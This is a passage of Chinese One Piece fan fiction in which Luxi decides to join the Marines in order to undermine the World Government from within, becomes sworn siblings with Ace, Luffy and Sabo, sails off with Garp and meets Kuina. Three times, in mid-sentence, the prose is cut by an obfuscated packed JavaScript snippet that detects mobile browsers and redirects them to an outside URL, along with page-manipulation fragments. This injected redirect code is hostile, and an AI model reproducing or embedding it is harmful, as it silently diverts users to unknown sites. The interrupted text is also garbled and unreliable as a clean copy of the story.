卡普先前就与天龙人巡游船上的海军通过联系，要求他们改航道而行，被对方大惊地喊道怎么可能做得到。卡普心想做不到那也得做到，他孙女还去烧哥亚王国了呢。但嘴上只是含糊编造了个理由，说可能会有海贼袭击哥亚王国，他们收到了消息，是秘密信息，禁止透露出去，防止追捕失败。随后挂断电话。这之后就让他们自己努力纠结去吧，他才不管。 至于之后若被问起哪里来的消息，那就继续打着哈哈糊弄过去吧。他是海军英雄，应该不会被质疑吧？！ 结果来到哥亚王国一看情况，听路希讲解了事件过程，发现还真有革命军来到这里并带走了贵族们，而且船还刚离开不久。 卡普：“……！” 果然、果然。他就说他乖巧可爱活蹦乱跳，将来会成为海军的孙女怎么会突然打电话跟自己说要攻打哥亚王国——没错，一切必定是革命军指使。 别以为他认不出来革命军头头是谁，就是自己的儿子龙啊！小时候还算听话去当了海军，结果当着当着就跑去辞职不干了，再度知晓消息时，已经鼓动着普通人反抗贵族推翻旧制度建立新世界了。 卡普当时眼前一黑。 天杀的，现在再看，路希和路飞不交给自家的儿子养果然是对的，看他一来就闹出来了什么事。知道他这个老人家当时收到路希的联系时心情何等崩溃吗？还以为差点会保不住这群小孩呢。 卡普给了这四个惹事不知天高地厚的小鬼头上每人一拳，狠狠咬牙说道：“听好了，给我把那小子说的话全部忘掉，把哥亚王国发生的事也全部忘掉！你们将来是要成为海军的，不准跑去当什么革命军！” 路飞当即出声抗议：“我要当海贼——！” 随后再次受到正义的拳头制裁。 其余三人：“……” 这种情况还是保持沉默吧。 路希摸摸头上的大包，好像比之前挨打得到的都要大很多，看来爷爷是真的有点生气了。不过大部分怒气应当都落在了革命军身上。 她眨眨眼，心想自己先前报告情况的时候确实算实话实说吧，只是动用一些语言的艺术，省去了不重要的小内容而已。反正爷爷又没问具体的情况，怎么能算她撒谎。 何况，她接下去要说的话，一定会令爷爷高兴的。既然如此，哥亚王国的事情就略过去不用提了。 路希咳嗽几声，清了清嗓子。“爷爷——有件事我还要跟你说哦。” 卡普吹胡子瞪眼，“别告诉我你要去当革命军！” 路希笑眯眯：“不是啦，我是要要告诉你，我准备当海军耶！所以你这次离开把我一起带上吧！” 卡普：“……！” 路飞、萨博、艾斯三人：“……？！” 艾斯一把推开卡普，语气急促：“你搞什么啊？之前不是还说要当世界之王吗？！” 路飞也扯着嗓子大喊道：“是啊，路希。你要放弃你的梦想了吗？！不要啊——” 萨博情绪并未如二人那般激动，但内心仍困惑不解，他不认为对方是会轻易放弃自己梦想的人。毕竟哥亚王国的贵族都被她解决了，可是为什么，就算说去当革命军，也比当海军合理些吧。 “哇哈哈哈哈哈哈哈，不愧是老夫的孙女啊！” 在场众人，只有卡普在哈哈大笑。 “不准笑了臭老头！” 随即受到艾斯和路飞的双双责骂，卡普继续毫不留情地给了他们一人一个拳头，“你们也给我跟路希学学！别整天想着当海贼了！” 路飞：“我不要，我就是不要当海军。路希——一定是被那个无眉妖怪的错，他果然是妖怪啊！” 艾斯：“可恶！我要把他追回来，让他把你的梦想还回来！” 艾斯拔腿就要去追，被卡普一把抓住衣领，拼尽全力无法向前一步。 卡普：“哈哈哈哈哪里有妖怪！给我直面现实吧两个小鬼！” 还在厘清情况的萨博：真的假的？离开的革命军真的是妖怪吗？！ 路飞一把抱住路希的手臂开始大哭大嚎：“不要啊，路希你不要去当海军啊。我们好不容易才征服这里，不要走哇——” “喂，你给我留在这里，我会把那个无眉妖怪打倒把你的梦想夺回来的！” 路希：“……” 她甩了甩路飞的手，没甩开，对方嚎得更大声了。魔音入耳，她更加无语了。 小伙伴们太笨了怎么办！她怎么可能这么轻易放弃自己的梦想，去当海军。她只是从这次进攻哥亚王国的战役中吸取了经验，经过各个角度的思考，才做出这个决定的。可恶，这群笨蛋能不能对她多点信任！ 没错，她决定要从内部瓦解世界政府啦。 其一，当今世界，世界政府是最大最强的组织，至少她没听过还有第二个可以与它相比的组织存在。在这个世界，它的权威是绝对的，说一不二。 与她有着相似目标的革命军，直接被世界政府定义为犯罪组织。显然如果她直接对着别人乱嚎自己的目标，也会落得同等情况。这种情况下，组建自己的势力简直是难上加难，更别说已经有一个革命军组织了。 都是准备推翻世界，她要怎么说服对方加入自己而不是革命军呢？ 而海军则是属于世界政府的最强战力。 其二，便是战力问题。 这次哥亚王国一战，让她清楚地意识到自己到底有多弱小。打倒布鲁杰姆是凭借群殴，组织围攻成功是因为贵族们准备对垃圾站的人下死手，那里的人再无存活机会。火烧高镇没受到阻拦，又是借了革命军的力——龙打倒了会对她们出手的士兵。事后没被追究，同样是因为运气好，把黑锅全给革命军背。 重新回忆，一路行来获得成功，多靠机遇与运气加成。如果没有这些，如果只有一种情况，遇见的是必须自己一个人战斗获胜才能闯过去的事件，她绝对会败北。平时投机取巧的战斗方法，在那种情况可无法让她胜利。 而海军，却可以得到专门的训练。最后自己的实力能走到哪一步，全看天赋与努力。路希心想自己天赋应当不算差，何况还有个就职中将多年的爷爷在，她爷爷一心想让她当海军，在训练方面绝对会用心。 实力是组建势力成功的基础，不管是头脑还是力量，总得有一样。而她全都想要。 其三，便是她想组建的势力。 怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114811|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组织？如何组织？从哪里开始组织？成员、基地、资源又要从何处获取？ 现在的世界，因为罗杰死前一句话的原因，最多的便是海贼。但她至今都没听说有什么海贼联盟，何况海贼大多都是凶残之人，显然相当之难驯服，不然怎么会被通缉呢。 海贼那边根本没有创建势力的参考性，可世界政府差不多存续了好几百年，不管是构架、形式亦或其它东西，都比一团散沙的海贼值得参考。 她还没有天真到认为仅凭一个人的力量便可以对抗全世界。既然如此，从最大的对手内部吸取经验不是很好吗？而且她还准备找合适的部下呢。 加入海军，一来可以在里面找看顺眼的人当部下预备役。二来，海军在大海航行可比海贼方便多了。航行得到自由了，到处跑跑逛逛，不仅能在外找合适的部下预备役，还能寻找有无合适的岛屿当秘密基地，甚至搜集信息都有正当理由——为了世界和平，为了正义！ 唔，不过后者的职位还得升到更高才能自由航行。 所以，她的新目标就是征服海军总部，成为海军王，拳打中将脚踢大将，最好还能自己当上大将，获得更多海军内部隐秘信息，方便反叛的成功率更上一层楼。 当然，她还要在海军新生代那里刷出很高很高的威望和名声，争取在言语间把大家不知不觉全部洗脑，这样时机成熟反叛的时候，说不定还能拐带走不少人呢。 加入海军对自己简直是有利无弊，她正是想明白了这些，才做出当海军的决定。 但显然她的三个小伙伴没想明白这些，而她的爷爷已经提起她准备直接带走了。 卡普：“好，我现在就带你回海军总部。” 择日不如撞日，夜长梦多，小孩子心性变来变去，万一他的孙女被另三个小孩嚎到改变想法了怎么办？！时间很紧迫，卡普根本不想留在这里，还是早日带到海军总部早日安心。 被提起来的路希：“……这么快？” 她都还来不及跟自己垃圾站的部下，风车村的大家，还有……她看了一眼路飞艾斯萨博三人的脸色——还有她的小伙伴告别呢。 三个人眼见卡普要直接带走她，慌乱扑上去拽住对方，顺带用脚对着卡普又踢又踹。 “臭老头给我放开路希——” 卡普：拳头硬了拳头又硬了。 强行被拽的路希：“……” 她的个人意愿好像在这一刻被彻底忽视了。不行、这样不行，她痛定思痛，大声喊道：“你们都吵死了！给我全部闭嘴！” 她努力从卡普的手里挣扎了一下，没挣脱，转而继续开口说话：“爷爷你给我松手啦！我还要好好跟路飞他们解释一下！而且你分明哥亚王国的事情都没处理完，走什么啊！”吼完卡普继续吼艾斯几人，“你们三个笨蛋也一样，都给我松手，别拽了！我又不像路飞你是橡皮人，会痛的好嘛！” 拽着她的笨蛋三人：“……”被吼但仍然没有松手迹象。 路飞：“那你先说你不会走！” 艾斯：“是啊，你快说！” 萨博：“呃……要不你说一下？” 路希：拳头硬了，她的拳头也要硬了。 27.章二十七 她绝不可能在爷爷面前告知自己的所思所想，不然鬼知这个老头还会不会同意。这人可是货真价值为海军奉献了半生的，肯定不会支持自己。 本以为会简单解决的事却出现失控的迹象，路希难得恼道：“爷爷你快去高镇那边处理后续啦！” 卡普：“……不行，你跟我一起去。” 他真的很担忧一回来这个孙女已经被其他三个孩子藏起来了。 路希：“我做出的决定不会更改！我说会当海军就一定会去当海军，就算你不让我去我也要偷偷溜进你的军舰过去！我只是要和路飞他们好好解释告别一下！” 卡普：“……！” 好感动！有生之年，第一次听到自家的小孩如此坚定地说要当海军。龙——你做得好啊！没错，卡普坚持认为，一定是革命军残暴的行事吓到了自家孙女，导致对方重新展开了人生思考，立志成为海军守护大海和平。 至于为什么他刚到哥亚王国，听见垃圾站的那群人喊路希为老大；达旦左右闪躲的眼神和支支吾吾的语气；路希一副没错我就是老大风范的给他解释事情经过诸如此类种种明显的异常情况。 卡普已然决定——所有的原因都是革命军的问题！ 总之不要让他在深入思考了，是的，没错，自己的孙女就是这么一个听话乖巧坚守正义要当海军的！那种老大风范也是因为她注定要从一等兵成为大将的信念体现！ 人生，难得糊涂。 蒙奇·D家，终于要出一个除他之外的海军！多么值得令人高兴。 卡普边哭边笑，随后把她扔了下去，转身离开。 路飞：“艾斯！” 艾斯：“嗯！” 艾斯和路飞两个还没等对方站稳，直接一起抬着她，高举过自己的头顶就是跑。萨博看着以迅雷不及掩耳之速消失在自己眼中的两个伙伴，在看看边抹眼泪边走掉的某海军，不由得陷入沉思。 那他呢，就这么被遗忘了吗？ 萨博咬咬牙，一跺脚火速追上消失的伙伴们。 “等等我啊——你们两个！” 话说为什么不叫他一起抬啊！就因为刚才他挽留的语气没那么坚定吗？！ 而事件的主人公路希，正面无表情双手交叉，任凭艾斯和路飞抬走了自己。有一说一，好逊。 搞什么嘛，明明她才是这里的老大，结果却沦落到被人抬走的地步。她气呼呼地鼓起脸颊，等一下下来了一定要好好揍他们一顿。 艾斯和路飞一路疾行，愣是把路希抬回了达旦之家的阁楼。 路飞：“好！这下应该安全了吧。” 艾斯眉头沉思：“……不，那老头等会肯定会找过来的，我们得再去找个新地方。” 路飞：“路希……” 路飞话还没说完，就受到来自对方的拳头攻击。 路飞：“……！” 路飞再度悲痛欲绝地哭了出来，“没关系路希，我一定会帮你夺回梦想的！” 路希忍无可忍：“……夺个鬼啊！我根本没准备放弃当世界之王！” 路飞＆艾斯：“……？！” 萨博刚跑到现场，就听见对方喊出这句话。他顿时舒了口气，他就说嘛，这人怎么可能真的想当海军。 然而艾斯显然没信。“你刚才还不是说不管怎么样都要去当海军吗？” 路希气呼呼：“笨蛋艾斯！笨蛋路飞！笨蛋萨博！” 莫名被骂的笨蛋三人组：“……” 路希：“你们就不能用脑子思考一下吗！我总不可以像你们当海贼一样，拉着个旗子就出海吧！” 路飞：“为什么不可以？” 路希：“因为我又不是去当海贼。而且说到底，这样做也只会被世界政府定义为海贼吧。我才不要这样。”她无可奈何地解释道，“我可是要把这个世界变成我喜欢的模样，凭着一个人一艘船可做不到，总得好好组建我的势力。我觉得先去海军那边很合适啊！” 她耐着性子，给三人讲解了自己的考虑与决策，也不管三人中的其中两个根本能不能听懂。不过大致意思倒是告知清楚：她不是真的要去当海军，而是把海军当做她实现目标的一个踏板。 路飞再度哇哇大哭，一边抹眼泪一边嚎：“太好了路希，你不会去当海军……” 艾斯也明显松了一口气。太好了，原来不是真的，不过心中还是不爽，但与初次遇见她时涌起的不爽不同，是另一种更加微妙的、让他难以厘清的新的情绪。 路希无奈耸肩：“说到底你们为什么对我当海军反应这么大啊？”真是搞不懂，“而且我们之间的信任度也太惨淡了吧。”她嘟嘟囔囔，显然还在不满他们刚才的举动。 路飞：“因为，我和艾斯还有萨博要成为海贼，如果你成为海军，我们就是敌人了！” 艾斯：“放心，这家伙绝对打不过我们的。” 路希：“……？”什么叫打不过。 萨博：“……倒也不能如此肯定。” 路希看向萨博，肯定道：“就是，萨博，你现在就和我一起把这两个人打一顿。” 萨博：“……？” 不是，等等，为什么啊？！ 艾斯直接挡在萨博面前，“萨博可是我们这一边的，要打也不会帮你打。” “好吧，”路希退而求其次，“那路飞，你过来。我们一起把艾斯和萨博打一顿。” 路飞刚想应声，又被艾斯抢先说话。“不行，路飞也是我们这一边的！” 路希跺脚：“路飞是我的兄弟！我和他是一个妈生的！当然要站在我这边。” 艾斯双手交叉放在胸前，一脸不肯退让。“那又怎么样？反正你马上也就走了吧，接下来路飞就是我们的兄弟了！” 路希：“……！”她指着对方的脸强烈抗议，“艾斯你好没有道理！” 艾斯头一转：“我才不管，你离开了就不再是我们这的一员了。” 路希满脑子不得其解：“你搞什么嘛？我以为都说开了呢。” 艾斯哼了一声：“我当然知道你不是真的去当海军，但是你也不会继续留在这里吧。那你就与我们无关了。” 路希眯起眼打量着臭着一张脸的艾斯，对方的心思莫名其妙，她才懒得猜。不如……她做了决定，要不还是真的把他打一顿吧。没有什么是一架不能解决的，如果不行，那就继续往死里打。 倒是路飞的视线在她们两人之中转来转去，然后一拍掌心，顿悟道：“我明白了，艾斯你是舍不得路希离开吧。” 路希恍然大悟：“……原来如此！” 艾斯：“……！”他扭头恶狠狠看向路飞，“我才没有，你别胡说。我怎么可能会因为她离开难过！” 路飞歪歪头，“那你为什么这么不开心？明明路希是去完成她的梦想啊，你之前不是还想去找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118187|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无眉妖怪把路希的梦想夺回来吗？” 艾斯：“……那个和现在这个是两回事！” “艾斯……”萨博拍了拍艾斯的肩，用一种迷之慈爱的眼神看着对方，说道，“路希只是暂时走了，不是死了，你们还会再遇见的。” 艾斯的脸涨得通红，用最高分贝大喊：“跟你们这群小鬼根本说不明白——都说了我没有难过！” 路希眨巴眨巴眼，看着艾斯喊完后噔噔噔跑下楼去。她的目光重新看向路飞和萨博，这两个人也看向她。 路飞：“艾斯逃跑了。” 萨博：“跑了呢……” 路希握拳：“我会找去他的。不、我一个人去。你们不要来。” 她说完也噔噔噔跑下楼去追艾斯，楼上只剩下路飞和萨博大眼瞪小眼。 路飞：“那我们做什么？” 萨博挠挠头：“不如睡一觉？” 在两人还在思考接下去究竟要做什么排解无聊时光之际，路希已经寻着艾斯的踪迹跑了一段距离出去。 “艾斯——”她在科尔伯山上大喊着对方的名字，无人回应。路希很有耐心，持之以恒叫着对方的名字。“艾斯——艾斯艾斯——” 终于有根树枝不知何处飞了出来，擦肩而过落在地上。路希盯着这根掉落地上的树枝，笑了一下。倒是有些让她想起和艾斯第一次见面的时候了。 “第一次见面的时候，你也想用石头扔我呢！” “是你先用石头扔我的吧。” “那是因为艾斯你对我和路飞吐唾沫，唔，我们以前好像也因为这件事吵过一次。” “哼。” “你还在生气吗？” “我没有生气。” “那就是伤心。” “更不是伤心！” 声音提高了几分贝。路希找了块大石头一屁股坐了下来，四周安静了几秒。 “艾斯……我不会留在这里的。如果我想实现我的梦想，我就一定会出去。” 她说话的语气很轻，却带着无人可挡的坚定。无人回应。她继续说下去， “艾斯也一样吧，你想出海当海贼，就不可能会一直留在这里。迟早有一天，你会比路飞更早出航的，因为你年龄比他大呀。” “……我年龄也比你大。” “嘿呀。” “不准傻笑！” “噗噗……” “也不准用其它奇怪的声音笑。” “艾斯你性格真的很难搞诶。” “不想忍受的话，就自己离开。我又没有要求你来和我做朋友。” 果然是这样的原因，路希抬头看着有飞鸟翱翔过的天空，轻轻舒了一口气，说道：“我说过的哦，艾斯你忘了吗？我在不确定物终点站抓住了你，所以不会放手的。就算之后要去海军那里，或者其它什么新地方，我都会一直记得的——艾斯你是我的朋友。” “但是，如果艾斯你真的想放手，那我也没有办法。因为朋友是要两个人一起努力才可以当成的。我不想一直追着艾斯跑。” 空气沉默地安静。路希收回视线，低下头。片刻后，耳中传来了落地的声音。艾斯从树上一跃而下，走到她的面前。 两人的视线相交，艾斯紧抿着嘴，神情严肃。他握成拳的手在发汗，他看着路希，缓缓说道：“那、要一直当朋友。” 于是路希主动握住了他的手。 28.章二十八 “说起来，不如我们来当兄妹吧。” 回程的路上，路希牵着艾斯的手，忽然说道。 这个建议来得过于突如其来，艾斯怔了片刻。对方倒是继续兴高采烈说了下去。 “这样我们不仅是朋友，还是家人！” 她们手牵着手跳在石头上走过溪流，初春的白日，尚有些寒意，唯独相握的手传来暖意。 艾斯低低应了声，“好。”说完似乎又觉得自己答应太快，补充了句。“其实我之前就想这么做了，只是事情太多没空讲。” 路希蹦蹦跳跳，心情很好，继续说道：“我其实还有一个姐姐，她叫乌塔，但是乌塔现在失踪了，不能介绍给你们认识。” “失踪？”在你外面居然还有别的姐姐的惊异中回过神来，艾斯抓住了路希话中的重点。 路希点点头，“是啊，失踪了。但是没关系，我迟早有一天会找到她的。因为我是天下最最聪明的人嘛。” 艾斯难得没怎么反驳对方说的话，“嗯，你很聪明。”他犹疑几秒，又问：“你的那个姐姐，长什么样？” “唔？” “你就算去当海军了也不能立马出海吧，肯定还要被那个老头训练一番。而且海军不是都要听从什么上级指挥嘛。反正我以后肯定会出海当海贼，说不定找人的进度还比你快呢。” “噢噢，确实是这样。我得快点当上中将才行。” “所以说你的姐姐长什么样子，为什么失踪了？” “乌塔啊……”路希仔细回忆了一下，“唱歌很好听，会让我们都睡着！是个很厉害的音乐家！” “然后……比路飞厉害，吃鸡比赛每次都赢了路飞！” 艾斯心中默默记着，会唱歌、很会吃鸡。唔……感觉到处都是呢。 “然后……”路希还在慢慢回忆，“头发是红色和白色的！眼睛是紫色的！对了，乌塔也是恶魔果实能力者，是叫……歌歌果实。” 艾斯：“噢噢。”恶魔果实能力者，终于来了点更加具体的情况，他接着发问，“那她是怎么失踪的？” 路希老实摇头：“不知道。” “不知道？！” “嗯，因为她是香克斯的女儿，也是香克斯海贼船上的海贼，但是有一天他们一起出海，只有乌塔没回来。香克斯说乌塔要努力去当歌唱家，所以离开了。不过我一眼就看出他在撒谎。” 艾斯：“……” 这、好像哪里不对？真的不是死在外面，然后那个叫香克斯的海贼编织了一个善意的谎言吗？艾斯犹疑不定，最后还是下定决心，反正不管是不是谎言，既然路希说那个叫乌塔的女孩还活着，那就绝对活着。大不了他出海以后找到香克斯，打他一顿让他说出乌塔的真正下落。 没错，这就是身为哥哥应当要做的吧。 他下了决心，步伐也不由得加快，等会结拜为兄妹，还得做不少准备呢。 路飞和萨博正在门前的空地比划着打来打去，一个口中喊着“橡皮橡皮——”，另一个灵活地闪身躲过对方的攻势。 路希挥手招呼他们：“我带着艾斯回来啦，我们和好了！” 艾斯略有些别扭：“先不要提之前的事了，还是快准备结拜的事情。” 于是接下去便是另一通解释，怎么和好的具体倒没有说出去，反正为了让她们的关系更加亲密、更加牢固，总之，结拜先。 在大人的眼中或许只是小孩子的玩笑，但是在场的四人都分外认真。她们来到原先只有艾斯和萨博的那个秘密基地，因为不能喝酒，所以只能用水代替。四人各自举起杯子，碰撞声清脆，水波晃动，孩童的誓言化作无形的藤蔓，将四人牵连一起。 之后便是告别的事。 由于有革命军背锅，垃圾站和端镇的那群地痞流氓统一被划分为受害者，未受到任何指责。此外，因为贵族们的财宝几乎被全哥亚王国的人民抢夺一空，那些普通人们为了防止受到牵连，也牢牢捂住嘴，没将察觉到的异常情况报告出去。 何况海军中将都将这件事定性为革命军的问题了。 而失去了贵族们的哥亚王国，最先几日倒有一些人，见革命军离去，海军在此，原本不安分的心蠢蠢欲动，试图成为新生贵族。结果莫名其妙就被套上麻袋揍了一顿，不知怎么来的恶徒边痛打他们边骂，“还想不想当贵族了？说话！想不想当贵族了！” 那还能说什么，敢说要当贵族恐怕就真的要去地下见自己的祖宗了，只能痛哭流涕乞求，“不敢了，真不当了。” 事后有人想去找来的那位海军中将告状，不是中途就被人拦住，或者就算见到，那个老头也只会瞪着一双眼睛大声说，当贵族关我什么事！要当贵族直接去向王国里的那些贵族申请啊！什么？他们都被带走了，那我能怎么办，不正在努力想办法带回来吗？！都是革命军的错啊！ 至于他们被打的事倒是完全被忽视一句没提到。 碰壁之后一群人重新聚头，交换信息发现拦住他们的那个女孩，声音与骂他们的那道女声似乎些微相似，而且这女孩还自言是中将的孙女，她的话就代表了中将。 一群人面面相觑。 “确定吗？”“好像也不是特别像。”“当时被套在袋子里呢，听不太清。”“可能是听错了。”“不是海军英雄吗？”“保护贵族的啦。”“贵族都没了。”“接下去怎么办，还当吗？”“当上去好像也没什么意义。”“现在这情况是不是也挺好？” 犹犹豫豫一番后，又各自散去。有一说一，虽然目前没感受到什么太大变化，但至少不用战战兢兢，深怕哪里做错了直接被贵族们赶出去沦落到垃圾站那里生活。 而且因为要重建高镇，有了同一个目标，又没贵族们高高在上的压迫，王国里的人反而比之前相处得更加融洽。 “虽然我觉得高镇建完后，肯定还会有人不甘心，想要自封为新的贵族啦。” 路希双手叉腰，站在高镇的镇中心，对着身旁的小伙伴们说道。 萨博耸耸肩，“那个时候就交给我们几个处理吧。你打下的哥亚王国，我们肯定不会让它恢复成原样的。” “嗯，你就安心的去征服海军吧。你的部下我们也会看管住的。” 路希沉思了会，“我在想，要不要把端镇、高镇的城门都炸掉呢。这样一来，大家就可以自由进出了。” “好主意啊！” 于是，卡普离开哥亚王国前的最后一件事，便是在自家孙女的央求下，铁拳毁掉了城门。完事后扣扣鼻子，“这样就满意了吧。” 路希举双手欢呼：“爷爷最好啦！” 卡普：“哈哈哈哈哈哈哈——！” 临行前，路飞三人自是不用提，玛琪诺和村长，以及风车村的众人，甚至达旦一家的山贼全都来送别。 玛琪诺细心地对路希叮嘱：“要好好吃饭，不准挑食。每天都要记得喝水，做错事了要说对不起，不可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123093|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡乱欺负别人，打架的时候要小心点……” 孩子第一次出远门，好担忧。虽说是去当海军，但这个爷爷怎么看不像是能好好照顾小孩的存在。 絮絮叨叨，嘱咐了一大堆，还递过去几件新衣服，方便路希到时候换洗。路希不断地点头应和，“嗯嗯，我知道了，玛琪诺。你放心啦，我一定会成为海军王当给你看的。” 玛琪诺忍不住被她逗笑出了声，一旁的达旦撇撇嘴，这话一出来她就知道这小鬼绝对没有把玛琪诺的话听进去，刚想说点什么揭露对方的真面目呢，结果路希转头看向她，带着热烈的笑意说道：“达旦你也要好好看着我哦！因为你和玛琪诺一样都是很好的妈妈，所以我不会让你们失望的！” 达旦：“……！”可、可恶，居然来这一招。这要让她怎么抵挡。她一吸鼻子，大吼道，“谁在乎你能不能当上啊！” “嘿呀。那路飞、艾斯、萨博，还有风车村的大家，山贼的大家，我去当海军啦！” 她的童年，她在风车村、哥亚王国度过的人生就此宣告结束。她要向前踏出新的征程。 路希一步三跳地上了军舰，脸上是自信昂扬的神情，就好似旧时代终有一日必定会被她踩在脚下，而她站在新生的世界中，是唯一的王。 军舰远去，逐渐模糊成看不见的黑点，最终彻底消失在海平线那端。送别的众人一个接一个离去，到最后，只剩下路飞、艾斯与萨博三个人。 三人之间彼此都很沉默，环绕着一种说不清道不明的气氛。 海鸥飞过，海浪拍打礁石，远处，有鱼越过海面，再无船影。路飞哇地一声大哭出来，“呜哇哇，路希啊——” 尽管先前一直都带着乐呵的神情，但当对方真的离开，并且很长一段时间都难以见面时，他还是忍不住哭了出来。 这是七年来，他们第一次分别。 艾斯也红了眼眶，到这里就可以了吧，到现在为止就可以哭了吧。路希已经离开，不用担心自己哭出来会对她造成影响，他是大哥，可不能让妹妹担心啊。 但他咬咬牙，还是心口不一道：“喂，不要在哭了，我们可是做哥哥的啊，得拿出气势来。” 萨博眼角也带着泪花，却摆出笑着的表情，“还说路飞，艾斯你也一样吧，想哭就哭吧，没人会嘲笑的。” 艾斯低声应道：“我才没有……还要快点回去帮她处理哥亚王国的事情呢。” 脚步却不见动弹。 在路飞的嚎啕大哭中被掩盖的，是他们两个强行忍住的抽泣声。海风轻轻拂过他们的脸庞，像是在温柔地安慰他们。 而另一边，登上军舰的路希正兴奋地在船上跑来跑去。 “耶——” 卡普笑呵呵地看着她从船头跑到船尾。 “耶——” 卡普笑呵呵地继续看着她从船尾跑到船头。 好好好，就是要这样才对，带着这种气势才能在海军中脱颖而出，成为大将啊！他这么多年的循循善诱果然没有错，终于有一个孩子顺着他的心意，想开了去当海军。 回去后他要好好在战国面前炫耀一番啦！你家的小孩有我家孙女这么出色吗？！ 而跑了好几圈，终于让心情稍稍平静下来的路希，最后停在了船头，靠在栏杆上看着前方的风景。海面波光粼粼，阳光温暖舒适，仿佛在无声地告知她：前路必定会顺畅无比。 总之征服海军势在必行，海军王，她当定了！ 29.章二十九 船行至中途，靠岸补给物资。 到达的地方是一个不知名的岛屿，岛上没有国家，只散落着几个村子，自然不会是世界政府加盟国。不过这种地方，因为资源不甚丰厚，倒也不会常有海贼造访。 路希和海军的后勤人员一起下船，这是她第一次离开自己的家乡，来到新的土地，自然想到处看看。 卡普也任由她去。 往前直直行走，到达的地方叫做霜月村，是周边唯一的村庄。 和她一起到访的后勤人员倒是对这里不陌生，说是先前也有几次来过这里，霜月村规模最大的地方叫做霜月道场，负责教导岛上的孩子们剑术。 “剑术啊……” 路希四处观望着，场馆的空地上有几个小孩正挥着木剑在练习，她看了几眼，没什么值得在意的。 场主霜月耕四郎出来接待她们。留着长发，戴着眼镜，气质温和，想象不太出他出剑的样子。路希收回打量的目光，场主笑眯眯地问道：“这么小的孩子也要去当海军了吗？” 后勤人员代她回答：“是卡普中将的孙女，一心想着要加入海军，还叫嚷着要当海军王呢。” “海军王吗……哈哈，从小就有目标是好事呢。我的女儿也是，一心想着成为世界第一的剑豪。” 路希这才重新抬眼看他，问道：“那边的小孩，哪个是你女儿？” 耕四郎笑答：“哪个都不是，她在场馆内忙一些事情。要和她见一面吗？” 想成为世界第一的剑豪啊……路希手指抵着下巴思考了会，应道：“我自己去找她！你们忙。” 说完也不等对方回答，自己跑向场馆内部。 霜月耕四郎看着女孩跑掉的背影，微微感叹道：“是个活泼的孩子啊。” 活泼的孩子此刻跑到了场馆门口，拉开大门。霜月道场的布置风格与哥亚王国的风格大相径庭，门也是纸门，要拉开而不是推开。亦不知质量如何，一指头戳下去会不会破。 她有些好奇，但找到那个想当世界第一大剑豪的心情压过了戳破纸门。路希大跨步走进去，大声喊道：“打扰了，未来的世界第一剑豪在不在？唔，只有你一个人啊！” 一个女孩，蓝色短发，比她高，看起来大她几岁，眼神坚定，腰间挂着一柄长刀。见路希进来，也不惊慌，只是略微皱眉，开口问道：“你是谁？” “我叫路希，是随行海军后勤人员来补给物资的。你就是这里场主的女儿吗？” 对面的人轻轻点了点头，“有什么事？” 路希直直盯着她：“你还没说你的名字呢，我已经告诉了你我的名字。” 对方顿了片刻，道：“……古伊娜，我叫霜月古伊娜。” 霜月……？好奇怪的姓氏，和道馆的布置风格一样。路希将这点疑惑甩在脑后，问出了她感兴趣的那个问题，“古伊娜，你、想成为天下第一的剑豪吗？” 古伊娜：“……你怎么知道的？是嘛，父亲跟你提到的吧。”不等路希回答，她已经自己解答。随后问道，“你已经知道了，还有什么事？” 古伊娜态度冷淡，一副不想多交流的模样。路希倒是丝毫没被打击到，再冷淡也比与艾斯第一次见面时吐口水要好。 而且，她有个新的想法。 练剑的人很多，拿起剑时，幻想自己是何等有天赋，用剑如何厉害的人也很多。可会把这些说出来，直言自己要当世界第一的人可不多。 何况还和她一样是女孩子呢。机会难得，碰到不可错过。 路希笑着问她：“我问你，古伊娜。你想如何成为世界第一的剑豪？” 古伊娜皱眉，显然不想与路希过多纠缠，回道：“这与你无关。” 对方睁大了眼睛，说：“怎么会无关？我很喜欢你的梦想，很有野心呀。你一定想好了要怎么实现梦想！我想知道！” 这下换成古伊娜略感吃惊了。她并不怎么对外人提及自己的梦想，因为父亲曾说过，女剑士没法成为世界第一的剑豪。父亲是从小抚养她长大的人，又是领她剑道入门的老师，父亲的话，代表着一种真理。 这个真理沉甸甸地压住她，让她难以真的将自己内心舒展开来。即便能击败道场所有的学生，甚至外来的挑战者，但也只是一时的。只要她长大……女性的体力便会限制住她，父亲这样说过。 可现在眼前的女孩却几乎是双眼发光地看着她，用期待的语气说，我想知道你会怎么实现自己的梦想。 其实，她也不太清楚。从小至今，她只会做、最擅长做一件事：便是把所有挑战者打倒。 古伊娜开口问道：“你没有练过剑吧。” 